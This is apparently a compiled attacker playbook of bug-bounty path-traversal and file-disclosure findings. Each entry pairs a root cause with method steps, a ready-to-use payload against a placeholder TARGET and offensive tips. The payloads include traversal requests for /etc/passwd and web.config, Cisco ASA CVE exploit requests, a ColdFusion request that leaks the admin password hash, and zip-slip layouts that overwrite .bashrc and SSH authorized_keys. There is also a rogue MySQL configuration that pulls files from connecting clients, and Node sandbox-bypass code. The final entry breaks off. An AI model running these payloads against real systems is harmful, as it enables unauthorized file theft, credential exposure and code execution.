Insight — Parameters literally named path/file/download/doc are the fastest LFD wins. On IIS/.NET always try web.config (creds/connection strings), Global.asax, App_Data\*, and the current .aspx source. Escalate creds from web.config to DB/RCE.
Real-world example
WooCommerce file-download validator bypass via // absolute path
◆ High
Specimen #402473 · automattic · awarded · 15 votes · resolved
Program automatticSurface webChain Download wp-config.php -> DB credentials -> full WordP
Root cause
WooCommerce set_downloads() only validates the file extension when get_type_of_file_path() classifies the path as 'relative'; a path starting with // is treated as 'absolute' so the extension/allowlist check is skipped, yielding arbitrary file download.
Method
- As shop-manager, edit a downloadable product
- Set the downloadable file path to an absolute path beginning with //
- Download the product file to retrieve the target server file (e.g. wp-config.php)
//home/simon/html/wordpress/wp-config.php
Insight — File-path validators that branch on path 'type' (relative vs absolute vs URL) can be bypassed by making input look absolute; a leading // (double slash) counts as absolute in many parsers while still resolving as a filesystem path.
Real-world example
Arbitrary file write via symlink in extracted package (tar/zip slip)
◆ High
Specimen #473811 · nodejs-ecosystem · none · 15 votes · resolved
Program nodejs-ecosystemSurface otherChain Overwrite executable/config file -> code execution on insTag file-upload
Root cause
bower's archive extractor detected symlinks using the wrong entry type string ('SymbolicLink' instead of tar-fs's 'symlink'), so symlink entries in a crafted tarball were extracted and followed, writing files outside the install directory.
Method
- Craft a tar with a symlink entry link -> /tmp then a file link/PWNED under it
- Publish/install the package
- Extraction follows the symlink and writes /tmp/PWNED
# malicious tarball layout
hello/link -> /tmp (symlink entry)
hello/link/PWNED (regular file, lands in /tmp/PWNED)
Insight — Package/archive extractors that mishandle symlink members allow arbitrary file write (symlink variant of zip-slip); test installers with tarballs containing symlink entries pointing to absolute paths, then overwrite executables/config for RCE.
Real-world example
Java servlet double-URL-encoded traversal on Windows (LFI as admin)
◆ High
Specimen #497771 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface web
Root cause
A misconfigured Java GWT servlet (mapped at /gwtmain//) passes the path to a file handler that decodes URL-encoding twice, so double-encoded ..%252f sequences decode to ../ and traverse the Windows filesystem with high privilege.
Method
- Locate the servlet endpoint (e.g. /gwtmain//)
- Append many double-encoded ..%252f segments then the absolute Windows path
- Read a known file (etc/hosts) to confirm, then admin-only files to prove privilege
GET /gwtmain//..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/System32/drivers/etc/hosts HTTP/1.1
Insight — Against servlets/proxies that decode twice, use double-encoding %252f (=%2f) to slip past single-decode traversal filters; the extra // after the endpoint can be what routes the request into the raw file handler.
Real-world example
JSP LFI with trailing-? suffix truncation
◆ High
Specimen #217344 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface web
Root cause
editor.jsp builds a file path from the editorImpl parameter without neutralizing ../; the app appends a suffix, so a trailing ? is needed to truncate it (otherwise a stacktrace fires).
Method
- Locate the JSP handler taking a filename-like param (editorImpl)
- Supply ../../../WEB-INF/web.xml plus a trailing ?
- Read WEB-INF/web.xml to map servlets and further config
https://TARGET/html/js/editor/editor.jsp?editorImpl=../../../WEB-INF/web.xml?
Insight — When the app appends an extension/suffix to your path, terminate the traversal with ? (or a null byte) to strip it; reading WEB-INF/web.xml enumerates the app's servlets and config file locations.
Real-world example
Java view/page-name parameter LFI to WEB-INF config
◆ High
Specimen #1007799 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface web
Root cause
A Java registration flow uses the nextPageName request parameter as a file path for the next view without sanitizing ../, allowing reads of WEB-INF configuration files.
Method
- Intercept the registration Next request in Burp
- Replace nextPageName with a URL-encoded traversal to WEB-INF/web.xml
- Forward and read the returned config; repeat for app-config.xml, spring security config
registerUserInfoCommand.nextPageName=..%2f..%2f..%2fWEB-INF%2fweb.xml
Insight — Page/template/view-name parameters (nextPageName, view, page, template) in Java web apps are classic LFI sinks; pull WEB-INF/web.xml, app-config.xml, and spring security config to map the app and hunt secrets.
Real-world example
Package-manager metadata name traversal (arbitrary file write/overwrite)
◆ High
Specimen #243156 · rubygems · 1000 · 11 votes · resolved
Program rubygemsSurface otherChain Overwrite installed gem executable -> code execution when
Root cause
gem install does not validate the `name` field in metadata.gz; a name like ../../../../any/where causes files to be created or existing files overwritten outside the gem directory.
Method
- Craft a gem whose metadata name field contains ../ traversal (e.g. ../gems/rack)
- Include a malicious file at the traversed location (e.g. bin/rackup)
- Victim installs the gem; the malicious file overwrites the real one and runs on next invocation
# metadata.gz name field:
name: ../gems/rack # plus payload file bin/rackup -> overwrites gems/rack-2.0.3/bin/rackup
Insight — Package managers that build install paths from archive-supplied metadata names are traversal-write primitives; overwriting an already-installed executable (rather than dropping into an unknown dir) makes exploitation reliable.
Real-world example
Oracle EBS bispgraph.jsp file read (ifn/ifl + CRLF .js suffix)
◆ High
Specimen #1624670 · deptofdefense · 500 · 11 votes · resolved
Program deptofdefenseSurface web
Root cause
Oracle E-Business Suite BI Publisher's bispgraph.jsp reads a file specified by ifn (name) and ifl (location) parameters; appending %0D%0A.js to the .jsp path forces an allowed extension/routing so the servlet returns arbitrary files.
Method
- Fingerprint Oracle EBS via /OA_HTML/
- Request bispgraph.jsp with the %0D%0A.js suffix and ifn/ifl pointing at the target
- Read /etc/passwd, /etc/motd, /etc/profile, etc.
https://TARGET/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/
Insight — Known Oracle EBS unauth file read - split the filename (ifn) and directory (ifl) across two params, and use the CRLF + fake .js extension trick to bypass the servlet's extension/routing filter. Always fingerprint /OA_HTML/ on Oracle stacks.
Real-world example
Unsanitized Node static file server → arbitrary file read via ../
◆ High
Specimen #309120 · nodejs-ecosystem · none · 9 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
A Node HTTP static-file server maps req.url straight onto the filesystem (fs.readFile/createReadStream) with no path normalization or root-jail check, so ../ sequences in the URL escape the web root and read any file the process can access.
Method
- Install and run the static server pointed at a directory.
- Send a raw request with ../ segments using curl --path-as-is (or a Burp raw request) so the client does NOT collapse the ../ before sending.
- Read /etc/passwd (Linux/macOS) or any known-path secret; directory-listing variants list arbitrary dirs.
curl -v --path-as-is http://TARGET:8080/../../../../../../etc/passwd
# node_modules prefix trick when a leading segment is stripped:
curl -v --path-as-is http://TARGET:8080/node_modules/../../../../../etc/hosts
Insight — Browsers and curl normalize ../ out of the path by default; you must use curl --path-as-is or craft a raw HTTP request in Burp Repeater so the server receives the literal ../. Any 'zero-config static server' is a prime candidate — test the root URL with a deep ../ chain first.
Real-world example
Arbitrary file deletion via avatar-crop original_file path traversal
◆ High
Specimen #183568 · wordpress · awarded · 9 votes · resolved
Program wordpressSurface webChain arbitrary file delete -> delete wp-config.php -> setupTag file-upload
Root cause
BuddyPress bp_avatar_set trusts the client-supplied original_file path when cropping and later unlink()s it, so ../ traversal deletes any file the webserver can remove.
Method
- Any user: start an avatar upload, then the crop request
- Intercept the crop request and change original_file to a traversal path
- Server calls unlink() on the traversed path (e.g. wp-config.php), deleting it -> site DoS / potential auth bypass on some CMSs
original_file=http%3A%2F%2Flocalhost%2F~sam%2Fwordpress%2Fwp-content%2Fuploads%2Favatars%2F2%2F../../../../../wp-config.php
Insight — Any 'crop/process/delete this previously-uploaded file' step that takes a client path is a traversal sink for arbitrary file DELETION (not just read/write). Look for original_file/tmp_name/path params in two-step upload+process flows.
Real-world example
Static server follows symlinks → read outside web root
◆ High
Specimen #695416 · nodejs-ecosystem · none · 8 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
A static file server serves files by path but follows symbolic links, so a symlink placed inside the served directory that points to an external file (e.g. /etc/passwd) is read and returned, bypassing the web-root confinement even when ../ is blocked.
Method
- Obtain the ability to create a file/symlink inside the served directory (e.g. an upload dir, shared volume, or dev setup).
- Create a symlink to the target file: ln -s /etc/passwd passwdsym.
- Request the symlink over HTTP; the server dereferences it and returns the external file.
ln -s /etc/passwd passwdsym
curl http://TARGET:8080/passwdsym
Insight — When URL-based ../ is filtered but you can drop a file into the served tree, symlinks are the escape. Any file-serving component should have an option (default on) to NOT follow symlinks / to verify the realpath stays under root.
Real-world example
Node.js permission-model traversal bypass via internal APIs
◆ High
Specimen #2051257 · nodejs · none · 8 votes · resolved
Program nodejsSurface other
Root cause
Node.js's experimental permission model enforces path-traversal checks on high-level fs APIs, but lower-level/alternate entry points reach the filesystem without going through the same validation — e.g. process.binding('fs') (CVE-2023-32558), and paths passed as non-Buffer Uint8Array (CVE-2023-39332) or via overwritten built-in utilities (CVE-2023-39331) — so ../ escapes the allow-listed directory.
Method
- Run Node with --experimental-permission and a scoped --allow-fs-read/--allow-fs-write.
- Call the filesystem through the deprecated process.binding('fs') instead of node:fs.
- Use a ../ path in the binding call to write/read outside the allow-listed directory.
// index.js in /home/pathtraversal/
const fs = process.binding('fs')
fs.mkdir('/home/pathtraversal/../test0', 511, false, null, null)
// node --experimental-permission --allow-fs-read="/home/pathtraversal/*" --allow-fs-write="/home/pathtraversal/*" index.js
// creates /home/test0 outside the allowed path
Insight — Security wrappers/sandboxes that validate at a high API layer are bypassed by reaching the same capability through a lower or alternate code path: deprecated internal bindings, alternate argument types (Uint8Array vs Buffer vs string), or overwritable helper functions. When auditing a path-jail, enumerate ALL routes to the fs, not just the documented one.
Real-world example
ColdFusion CVE-2023-26360 unauth arbitrary file read via WDDX deserialization
◆ High
Specimen #2870951 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain unauth file read -> leak admin password hash -> admin/Tag deserialization
Root cause
Adobe ColdFusion's filemanager iedit.cfc exposes an unauthenticated method that deserializes attacker-controlled _variables (WDDX) whose _metadata.classname is used as a file path, enabling arbitrary file read via ../ traversal.
Method
- Fingerprint ColdFusion (/cf_scripts/ present)
- POST to iedit.cfc?method=wizardHash with returnFormat=wddx and _cfclient=true
- Set classname to a traversal path (i/../lib/password.properties) to read the admin password hash
- Read the hash from the response
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/2
Content-Type: application/x-www-form-urlencoded
_variables=%7b%22_metadata%22%3a%7b%22classname%22%3a%22i/../lib/password.properties%22%7d%2c%22_variables%22%3a%5b%5d%7d
Insight — For ColdFusion targets, /cf_scripts/scripts/ajax/ckeditor/... paths are the CVE-2023-26360 access-control-bypass sink; leaking password.properties yields the admin hash for further compromise. Confirm CF version and try the known unauth methods before deeper work.
Real-world example
Markup-parser include directive (reStructuredText) enables LFI
◆ High
Specimen #179034 · paragonie · none · 7 votes · resolved
Program paragonieSurface web
Root cause
Airship CMS rendered user-supplied reStructuredText with Gregwar/RST, whose built-in `.. include::` directive reads and inlines arbitrary local files, giving LFI wherever RST content is parsed.
Method
- Find a field/page rendered as reStructuredText (or Markdown/AsciiDoc with include support).
- Insert an include directive pointing at a traversal path to a target file.
- The parsed output contains the file contents.
.. include:: /./../../../../../../../../../../../../../../etc/passwd
Insight — Any rich markup renderer that supports file includes is an LFI sink: RST (.. include::), AsciiDoc (include::), LaTeX (\input), XML (XInclude/DTD), template engines. When you can supply markup that the server renders, test the include primitive for local file read.
Real-world example
Path traversal in a Node static-file server module
◆ High
Specimen #432600 · nodejs-ecosystem · none · 6 votes · resolved
Program nodejs-ecosystemSurface apiTag supply-chain
Root cause
The static-resource-server npm module joins the request URL to the web root without normalizing/verifying the result stays inside root, so ../ sequences (sent raw with --path-as-is) escape the root and read arbitrary files.
Method
- Run the static server rooted at some directory
- Send a request whose path contains ../ traversal without client-side normalization
- Read files outside the web root (e.g. /etc/passwd)
curl --path-as-is --url 'http://127.0.0.1:8080/../../../../etc/passwd'
Insight — When testing any file server/framework static handler, send traversal sequences with the raw path (curl --path-as-is) so the client doesn't collapse ../ before it reaches the server. The bug is a missing path.resolve()-within-root check.
Real-world example
Cisco ASA/FTD WebVPN unauth file read (CVE-2020-3452)
◆ High
Specimen #962908 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface network
Root cause
Cisco ASA/FTD web services interface fails to validate the URL in the +CSCOT+/translation-table handler; the 'lang' + 'textdomain' parameters allow ../ so an unauthenticated attacker reads files from the WebVPN file system (e.g. Lua/JS internals, session data).
Method
- Identify an ASA/FTD WebVPN portal (/+CSCOE+/logon.html).
- Request the translation-table endpoint with a textdomain pointing at a target file and lang=../ to escape.
- Download portal_inc.lua, session.js and other WebVPN files unauthenticated.
curl -k "https://TARGET/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" --output portal_inc.lua
curl -k "https://TARGET/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/session.js&default-language&lang=../" --output session.js
Insight — Cisco ASA/FTD WebVPN uses magic path tokens +CSCOE+ +CSCOU+ +CSCOT+. Fingerprint ASA via /+CSCOE+/logon.html then try the known CVE-2020-3452 translation-table read; a 200 returning file contents (vs 404) confirms an unpatched device. URL-encode the +CSCOE+ token as %2bCSCOE%2b.
Real-world example
Cisco ASA WebVPN dir enumeration / session read (CVE-2018-0296)
◆ High
Specimen #622864 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface network
Root cause
Cisco ASA WebVPN does not properly validate paths in the +CSCOU+/../+CSCOE+ request, letting an unauthenticated attacker list the VPN web directory and read files/sessions via file_list.json (auth-bypass-style path traversal).
Method
- Send the traversal request to file_list.json to confirm the device is vulnerable (returns JSON directory data instead of 404).
- Use the path= parameter to enumerate additional privileged directories and session info.
curl -vk -m 45 --path-as-is "https://TARGET/+CSCOU+/../+CSCOE+/files/file_list.json"
curl -vk -m 45 --path-as-is "https://TARGET/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b"
# read sessions:
curl -i -k --path-as-is "https://TARGET/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"
Insight — Patched devices return 404 'File not found'; a 200 with JSON directory listing confirms exploitable ASA. The +CSCOU+/../+CSCOE+ prefix is the signature — use --path-as-is so the ../ is not collapsed.
Real-world example
Real-world CGI file-path parameter traversal (deep ../ to root)
◆ High
Specimen #1212746 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
A legacy CGI web application builds a filename from a request parameter (an *_FILE/DIR-style path parameter) without neutralizing ../, so supplying a long ../ chain resolves outside the intended directory and includes/reads arbitrary system files.
Method
- Enumerate parameters that look like file/dir paths (names ending in _FILE, DIR, USE_THIS_DIR, path, template, etc.).
- Set the parameter to a deep ../ chain reaching filesystem root followed by the target file (e.g. ../../../../../../../../etc/hosts).
- Observe the target file contents included in the response.
...&SOMENAME_FILE=/../../../../../../../../../../../../../../../etc/hosts&...
# generic:
https://TARGET/cgi-bin/app.cgi?file=../../../../../../../../etc/passwd
Insight — In older CGI/query-string apps, filesystem paths are often passed openly in parameters (sometimes several params referencing the same file). Fuzz any path-looking parameter with an over-long ../ chain (15+ segments) so it reaches root regardless of the base directory depth; a returned config/hosts file confirms.
Real-world example
Zip Slip: arbitrary file write via archive extraction (adm-zip)
◆ High
Specimen #362118 · nodejs-ecosystem · none · 6 votes · resolved
Program nodejs-ecosystemSurface otherChain arbitrary file write -> overwrite executable/config ->Tag file-upload
Root cause
An archive-extraction library writes each entry to its stored filename without normalizing/validating the resulting path against the target directory; entry names containing ../ escape the extraction folder and overwrite arbitrary files (config, cron, webshell) leading to RCE.
Method
- Craft a zip/tar whose entry filename is a directory-traversal path (e.g. ../../../../tmp/evil or a path over an executable/config)
- Have the target app extract the attacker-supplied archive with the vulnerable library (adm-zip <0.4.9)
- The traversal entry is written outside the intended directory
- Overwrite an executable/startup/config file, then wait for or invoke it for remote command execution
# zip entry name: ../../../../../../home/victim/.bashrc (or a script under web root)
# sample malicious archives: https://github.com/snyk/zip-slip-vulnerability/tree/master/archives
Insight — Any code path that extracts user-supplied archives (zip/tar/jar/war/apk/7z/rar) is a Zip Slip candidate: verify each entry's canonicalized destination stays within the target dir (resolvedPath.startsWith(targetDir + sep)). Affects many libraries across ecosystems, not just Node.
Real-world example
Malicious MySQL server reads arbitrary client files via LOAD DATA LOCAL INFILE
◆ High
Specimen #171593 · ibb · none · 5 votes · resolved
Program ibbSurface network
Root cause
MySQL clients compiled with LOCAL INFILE enabled (default in most distros) obey a server-initiated LOCAL_INFILE request in response to ANY query, so a rogue/MITM'd server can force the client to upload any file the client user can read.
Method
- Stand up an evil MySQL/MariaDB server (e.g. MaxScale regexfilter rewriting every query to LOAD DATA LOCAL INFILE)
- Lure any client to connect and run a single query
- Client transparently uploads the requested file into a server-side table
- Read stolen file (e.g. /etc/passwd, ~/.ssh/id_rsa, /proc/self/environ) from the evil server
[EvilFilter]
type=filter
module=regexfilter
options=ignorecase
match=.*
replace=LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test.loot;
# any client query then triggers upload:
mysql -utest -h EVILHOST test -e 'SELECT 1'
# PHP client equally vulnerable:
$mysqli = mysqli_connect('EVILHOST','test',null,'test',3306);
mysqli_query($mysqli,'SELECT 1');
Insight — Any app that connects to an attacker-controlled or MITM-able MySQL endpoint (installer 'connect to remote DB' wizards, phpMyAdmin, integrations) is a client-side arbitrary file read primitive. Disable with local-infile=0 / unset CLIENT_LOCAL_FILES.
Real-world example
Bypassing broken/OS-specific path-traversal filters
◆ High
Specimen #319951 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
A path filter that only inspects the canonical '../' token (or a naive single/one-shot replace) fails to account for OS-specific separators, drive-relative paths, and non-recursive stripping, so an equivalent traversal expressed differently slips through.
Method
- Confirm a '../'-based read is blocked/stripped.
- Try the Windows backslash separator, URL-encoded: ..%5c (i.e. ..\).
- Try a drive-relative prefix on Windows: C:../../ (defeats validators like resolve-path).
- Defeat non-recursive strippers by nesting: ....// or ..././ so one replace pass leaves a working ../.
- For extension-restricted servers, target a file that already has an extension (e.g. /etc/hosts.deny).
# superstatic Windows backslash bypass of a '../'-only blacklist:
http://TARGET:3474/..%5c..%5c..%5c/Windows/notepad.exe
# resolve-path drive-relative bypass (Node validation lib):
require('resolve-path')("C:/windows/temp/", "C:../../")
# non-recursive replace bypass (str.replace('..','') once):
....//....//etc/passwd -> after one strip -> ../../etc/passwd
Insight — When ../ is filtered, enumerate equivalents: backslash ..\ / ..%5c on Windows, drive-relative C:../, nested ....// against single-pass replacers, and extension tricks against index-appending servers. A blacklist that stops one representation almost never stops all of them.
Real-world example
Zip Slip — archive entry ../ → arbitrary file write on extract
◆ High
Specimen #362119 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface otherChain Arbitrary file write → overwrite executable/config → RCETag file-upload
Root cause
An archive extractor concatenates the target dir with the (attacker-controlled) entry filename without validating the resolved path, so an entry named with ../ sequences (or a symlink entry) writes files outside the extraction directory — potentially overwriting code/config for RCE.
Method
- Build a malicious archive whose entry names contain ../ traversal (e.g. ../../../../home/user/.bashrc).
- Have the target library extract it (adm-zip and many others do not sanitize entry names).
- Overwrite a startup script, cron, web root file, or SSH authorized_keys to escalate to code execution.
# malicious zip layout (entry names):
../../../../../../tmp/evil.txt
../../../../home/victim/.ssh/authorized_keys
# symlink-entry variant (bower CVE-2019-5484): archive contains a symlink pointing outside,
# extractor writes through the symlink -> arbitrary file write.
Insight — Never trust archive entry names. Before writing, resolve (path.resolve/File.expand_path) the destination and confirm it is still under the extraction root WITH a trailing separator. Watch for the symlink variant: even if entry names are checked, following symlink entries during extraction re-enables the write.
Real-world example
Raw HTTP request bypasses client-side URL normalization
◆ High
Specimen #570035 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
Browsers and curl (without --path-as-is) collapse ../ in the URL before sending, hiding server-side traversal. Sending the raw path over a manual TCP/Burp request preserves the ../ so the vulnerable server receives and processes it.
Method
- Server naively appends URL path to web root
- In a browser the ../ gets normalized away, masking the bug
- Send the request with the literal ../ preserved via Burp (or curl --path-as-is) to reach the server unchanged
# In Burp Repeater, send a raw request line that keeps the dots:
GET /../../../../etc/passwd HTTP/1.1
Host: TARGET
Insight — A traversal that 'doesn't work' in the browser is often still exploitable — the client normalized it. Re-test every path-traversal candidate with Burp/--path-as-is before dismissing it.
Real-world example
Node.js permission model bypass via ../ in write path (CVE-2023-30584)
◆ High
Specimen #1952978 · nodejs · none · 5 votes · resolved
Program nodejsSurface otherTag file-upload
Root cause
Node's experimental --allow-fs-write/--allow-fs-read policy did prefix-matching on the raw path string without normalization, so a path like /allowed/../secret.txt matches the /allowed/ allowlist yet resolves (via ..) to a file outside it — the permission check and the actual fs op disagree on the path.
Method
- Run node --experimental-permission --allow-fs-write=/allowed/ script.js
- In the script, write to /allowed/../secret.txt
- The ../ passes the allowlist prefix check but writes outside /allowed/
node --experimental-permission --allow-fs-read=* --allow-fs-write=/home/kali/restricted/ poc.js
// poc.js
require('fs').writeFileSync('/home/kali/restricted/../secret.txt','Overwritten!')
Insight — Any allowlist/sandbox that string-compares a path before the fs layer normalizes it is bypassable with ../. The fix is to canonicalize (realpath/normalize) before the authorization check — a TOCTOU-style path-check/path-use mismatch generalizes to every sandbox.
Real-world example
Unsanitized path.join(root, req.url) static file server → arbitrary read
◆ High
Specimen #312918 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
Static file servers that build the served path as path.join(root, decodeURIComponent(req.url)) (or fs.readFile on it) with no confinement check let ../ segments escape the web root and read any file the process can access.
Method
- Start the server in some directory
- Send a raw request whose path contains ../ sequences (use curl --path-as-is so the client does not collapse them)
- Read arbitrary files such as /etc/passwd
curl -v --path-as-is http://TARGET:PORT/../../../../../../etc/passwd
Insight — Any file server that resolves the URL path against a base dir but never verifies the result still starts with that base (e.g. path.resolve(base) prefix check, or realpath containment) is traversable. Grep the code for path.join(root, req.url)/fs.readFile(url) with no normalization. Always send with --path-as-is; the payload only needs enough ../ to reach filesystem root.
Real-world example
..././ defeats non-recursive ../ stripping filter
◆ High
Specimen #329837 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
A filter that removes '../' once (non-recursively) with a regex like replace(/(\.\.[\/\\])+/g,'') can be defeated by ..././ — after the inner '../' is stripped, the leftover '..' + '/' recombine into '../'.
Method
- Confirm the server strips literal ../ but does so in a single pass
- Send ..././ segments so removal of the embedded ../ leaves a valid ../ behind
- Traverse to the target file
curl -v --path-as-is "http://TARGET:PORT/..././..././..././..././etc/passwd"
# Windows equivalent: ...\.\
Insight — Whenever a fix 'strips ../', test nesting variants: ..././, ....//, ..;/, and mixed encodings. Single-pass sanitizers are the classic self-reintroducing-payload bug.
Real-world example
Leading double-slash //file absolute-path traversal / fix bypass
◆ High
Specimen #330349 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
A leading '//' (or a slash-prefixed absolute path) makes path.join/resolve treat the request as an absolute filesystem path, escaping the web root without any ../ — and also slips past filters that only anchor on ../ at the start of the string.
Method
- Prefix the target absolute path with an extra slash: //etc/passwd
- Server resolves it as an absolute path, ignoring the web root
- Where a prior fix stripped a single leading ../, use //../ to re-enable traversal
curl --path-as-is 'http://TARGET:PORT//etc/passwd'
# fix-bypass variant:
curl --path-as-is 'http://TARGET:PORT//../../../../etc/passwd'
Insight — Test a leading extra slash and absolute paths, not just ../. Many patches only handle the '../' case and forget that '//abs/path' also escapes.
Real-world example
Node.js permission model bypass by passing path as a Buffer (CVE-2023-32004)
◆ High
Specimen #2104564 · ibb · awarded · 4 votes · resolved
Program ibbSurface otherTag file-upload
Root cause
The permission-model path validation handled string paths but not Buffer paths; supplying the filename as a Buffer containing a traversal sequence skipped the normalization/allowlist check while the fs API still honored the Buffer path, escaping the sandbox.
Method
- Enable --experimental-permission with a restricted fs scope
- Call an fs API with the path passed as a Buffer (not a string) containing ../
- The Buffer path bypasses the string-oriented permission check
// pass path as Buffer to dodge the string-only validation
require('fs').readFileSync(Buffer.from('/allowed/../secret.txt'))
Insight — When a security check special-cases one input type (string), try the other accepted types (Buffer, URL, TypedArray, integer fd). Type-confusion around 'the same value in a different representation' repeatedly bypasses path/permission validators.
Real-world example
Cisco ASA/FTD WebVPN unauth read-only path traversal (CVE-2020-3452)
◆ High
Specimen #943717 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface networkTag file-upload
Root cause
Cisco ASA/FTD WebVPN (WebVPN or AnyConnect enabled) lacked input validation on the translation-table / oem-customization endpoints, letting an unauthenticated attacker read files in the web-services filesystem via crafted ../ and %2b (encoded +) sequences.
Method
- Fingerprint an ASA/FTD WebVPN portal (login page at /+CSCOE+/logon.html)
- Request the translation-table or oem-customization endpoint with traversal params
- Read Lua/JS source such as portal_inc.lua (can expose session material)
# translation-table variant:
GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
# oem-customization variant:
GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
Insight — On any exposed Cisco ASA/FTD SSL-VPN, test both CVE-2020-3452 payloads. Read-only but portal_inc.lua/session.js can leak enough to impersonate VPN users. %2b = URL-encoded + is needed because the CSCOE/CSCOT tokens contain literal + signs.
Real-world example
Framework decode-layer traversal: single vs double URL-encoding (sapper/polka)
◆ High
Specimen #820224 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
Sapper served static files with fs.readFileSync(path.resolve(build_dir, decodeURIComponent(req.path))) — decoding the URL and resolving with no containment. Because production ran under polka (which applies an extra decodeURIComponent vs express in dev), the payload needed one more layer of encoding in prod than in dev.
Method
- Hit the static-asset route with %2e%2e traversal in dev mode
- In production (polka), add a second encoding layer (%252e%252e) to survive the extra decode
- Read /etc/passwd via the resolved path
# dev (single encode):
curl -v http://TARGET:3000/client/HASH/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
# prod under polka (double encode):
curl -v http://TARGET:3000/client/HASH/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
Insight — Count the decode layers between the edge and the fs call. Each middleware/router that calls decodeURIComponent means you may need one more level of %25-encoding. If single-encoded fails, escalate to double/triple encoding before giving up.
Real-world example
ASP.NET File/Download?path= absolute-path file read (Windows)
◆ High
Specimen #1641148 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
A file-download endpoint took a `path` parameter and read it directly from disk with no allowlist or containment, so supplying a full absolute Windows path returns any file readable by the app — no ../ traversal even needed.
Method
- Find a download/preview endpoint that takes a file path parameter
- Supply an absolute path to a known system file
- Retrieve its contents
GET /File/Download?path=C:/WINDOWS/System32/drivers/etc/hosts HTTP/1.1
Insight — Parameters named path/file/name/download/template on a download route are prime sinks. Try an absolute path first (C:/windows/win.ini, /etc/passwd) before bothering with ../ — many implementations join nothing and read the raw value.
Real-world example
Node.js static-file-server unconfined path traversal (URL-encoded ../)
◆ High
Specimen #790623 · nodejs-ecosystem · none · 1 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
Node static-file server modules map the raw URL path to a filesystem path via fs.readFile without normalizing/resolving and confining to the web root, so ../ sequences escape. URL-encoding the dots/slashes (%2e%2e%2f) slips past naive string-based ../ checks and the client sends them raw with curl --path-as-is.
Method
- Install and start the static server module (defaults to 0.0.0.0, externally reachable)
- Request a deep traversal with URL-encoded dot-dot-slash so the client does not normalize it
- Server decodes and joins to disk without confinement, returning /etc/passwd
curl --path-as-is "http://TARGET:3006/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# plain form (needs --path-as-is so curl doesn't collapse ../):
curl -v --path-as-is http://TARGET:80/node_modules/../../../../../etc/passwd
Insight — Any static-file server that concatenates the request path to a root dir without path.resolve()+prefix check is traversable. Always test the URL-encoded (%2e%2e%2f) and double-encoded variants, and use --path-as-is so the HTTP client forwards the traversal instead of normalizing it away.
Real-world example
Cisco ASA/FTD unauthenticated file read (CVE-2020-3452)
◆ High
Specimen #940384 · deptofdefense · none · 1 votes · resolved
Program deptofdefenseSurface networkTag file-upload
Root cause
Cisco ASA/FTD WebVPN/AnyConnect web services fail to validate URLs to the +CSCOT+ translation-table and oem-customization handlers, allowing ../ traversal within the web services filesystem to read files (e.g. Lua source) not normally served. Unauthenticated, remote.
Method
- Fingerprint an ASA/FTD with WebVPN/AnyConnect enabled (SSL cert, /+CSCOE+/ paths)
- Request translation-table with a traversal in the lang/textdomain params to read a webroot file
- Alternatively use oem-customization with platform/resource-type set to .. to fetch the same file
GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ HTTP/1.1
GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua HTTP/1.1
Insight — For appliance targets, map the model+version to known-CVE traversals rather than fuzzing blindly. CVE-2020-3452 is confined to the web services FS (portal_inc.lua etc.), not the host OS - useful for source/config disclosure. Both handler variants should be tried; one may be patched and the other not.
Real-world example
Traversal to arbitrary file DELETE (Cisco ASA CVE-2020-3187)
◆ High
Specimen #1455266 · deptofdefense · none · 1 votes · resolved
Program deptofdefenseSurface networkTag file-upload
Root cause
Cisco ASA/FTD WebVPN interface (session_password.html handler) mishandles ../ in requests, letting an unauthenticated attacker read and DELETE files in the web services filesystem - a traversal whose impact is destructive, not just disclosure.
Method
- Fingerprint ASA/FTD with WebVPN enabled
- Hit /+CSCOE+/session_password.html; presence of a webvpn: cookie in the response indicates the vulnerable/exploitable state
- The traversal handler permits delete of arbitrary web-FS files (not demonstrated destructively in report)
